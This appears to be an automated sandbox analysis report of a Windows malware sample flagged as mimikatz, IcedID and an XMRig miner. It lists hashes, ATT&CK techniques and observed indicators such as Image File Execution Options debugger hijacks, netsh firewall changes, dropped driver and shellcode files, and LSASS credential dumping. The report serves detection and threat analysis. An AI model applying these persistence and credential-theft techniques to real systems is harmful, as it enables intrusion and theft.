mimikatz | 3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643e

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-11-2024 09:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
Size

9.2MB
MD5

9aa307bf17ed00c9228c8e34433ed6b0
SHA1

0bd67d97a100efd3245eec2fe0d7169e761ebdaf
SHA256

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643e
SHA512

c501a220d53f4b1abab239bb2c3c57a2137afc3bbbe074aa5504ae71c007d17acc9901eabbdefd914be8e0bd322997a41f39f7ef0b52e3d37a8b810fb5591d4e
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3736 created 2060	3736	nmlkkib.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20269) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/3696-179-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-183-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-200-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-213-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-226-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-235-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-248-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-497-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-498-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig
behavioral2/memory/3696-501-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 4 IoCs

resource	yara_rule
behavioral2/memory/436-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/436-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x0008000000023c62-6.dat	mimikatz
behavioral2/memory/2136-138-0x00007FF6D4C10000-0x00007FF6D4CFE000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	nmlkkib.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	nmlkkib.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1976	netsh.exe
4516	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
5088	nmlkkib.exe
3736	nmlkkib.exe
1644	wpcap.exe
4796	jbftscrnu.exe
2136	vfshost.exe
5072	ennsehtzr.exe
4932	xohudmc.exe
2464	bgzdci.exe
3696	tktgmq.exe
4996	ennsehtzr.exe
3076	ennsehtzr.exe
444	ennsehtzr.exe
2532	ennsehtzr.exe
1968	ennsehtzr.exe
1144	ennsehtzr.exe
5076	ennsehtzr.exe
2872	ennsehtzr.exe
3324	ennsehtzr.exe
4372	ennsehtzr.exe
4720	nmlkkib.exe
5088	ennsehtzr.exe
4204	ennsehtzr.exe
632	ennsehtzr.exe
2424	ennsehtzr.exe
2192	ennsehtzr.exe
4492	ennsehtzr.exe
3968	lgkfgfrve.exe
4316	nmlkkib.exe

Loads dropped DLL 12 IoCs

pid	Process
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
1644	wpcap.exe
4796	jbftscrnu.exe
4796	jbftscrnu.exe
4796	jbftscrnu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
65	ifconfig.me
61	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	nmlkkib.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	nmlkkib.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\bgzdci.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\bgzdci.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	nmlkkib.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	nmlkkib.exe

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2136-135-0x00007FF6D4C10000-0x00007FF6D4CFE000-memory.dmp	upx
behavioral2/files/0x0007000000023cbe-136.dat	upx
behavioral2/memory/2136-138-0x00007FF6D4C10000-0x00007FF6D4CFE000-memory.dmp	upx
behavioral2/files/0x0007000000023cc9-141.dat	upx
behavioral2/memory/5072-142-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/5072-149-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/files/0x0007000000023cc6-163.dat	upx
behavioral2/memory/3696-165-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/4996-172-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3076-176-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-179-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/444-181-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-183-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/2532-186-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/1968-190-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/1144-194-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/5076-198-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-200-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/2872-203-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3324-207-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/4372-211-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-213-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/5088-220-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/4204-224-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-226-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/632-229-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/2424-232-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/2192-234-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-235-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/4492-237-0x00007FF7EB000000-0x00007FF7EB05B000-memory.dmp	upx
behavioral2/memory/3696-248-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/3696-497-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/3696-498-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx
behavioral2/memory/3696-501-0x00007FF62B380000-0x00007FF62B4A0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\ucl.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\spoolsrv.xml	nmlkkib.exe
File created	C:\Windows\mnvzbkud\vimpcsvc.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\nmlkkib.exe	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\jbftscrnu.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\lgkfgfrve.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\cnli-1.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\svschost.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\docmicfg.exe	nmlkkib.exe
File opened for modification	C:\Windows\tsjtbfmcn\vifklhuyf\Result.txt	lgkfgfrve.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\tucl-1.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\spoolsrv.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\schoedcl.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\docmicfg.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\docmicfg.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\coli-0.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\schoedcl.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\Corporate\mimidrv.sys	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\scan.bat	nmlkkib.exe
File opened for modification	C:\Windows\tsjtbfmcn\vifklhuyf\Packet.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.dll	nmlkkib.exe
File created	C:\Windows\mnvzbkud\spoolsrv.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\vimpcsvc.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\schoedcl.xml	nmlkkib.exe
File created	C:\Windows\ime\nmlkkib.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\tibe-2.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\zlib1.dll	nmlkkib.exe
File created	C:\Windows\mnvzbkud\docmicfg.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\ip.txt	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\docmicfg.xml	nmlkkib.exe
File created	C:\Windows\mnvzbkud\svschost.xml	nmlkkib.exe
File created	C:\Windows\mnvzbkud\schoedcl.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\Corporate\vfshost.exe	nmlkkib.exe
File created	C:\Windows\mnvzbkud\nmlkkib.exe	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\Packet.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\xdvl-0.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\svschost.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\spoolsrv.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\Shellcode.ini	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\exma-1.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\vimpcsvc.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\vimpcsvc.xml	nmlkkib.exe
File opened for modification	C:\Windows\mnvzbkud\svschost.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\Corporate\mimilib.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\crli-0.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\trch-1.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\spoolsrv.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\vimpcsvc.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\AppCapture32.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\libxml2.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\ssleay32.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\trfo-2.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.exe	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\posh-0.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\libeay32.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\svschost.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\specials\schoedcl.xml	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\UnattendGC\AppCapture64.dll	nmlkkib.exe
File created	C:\Windows\tsjtbfmcn\upbdrjv\swrpwe.exe	nmlkkib.exe
File opened for modification	C:\Windows\tsjtbfmcn\Corporate\log.txt	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2224	sc.exe
4900	sc.exe
2136	sc.exe
932	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

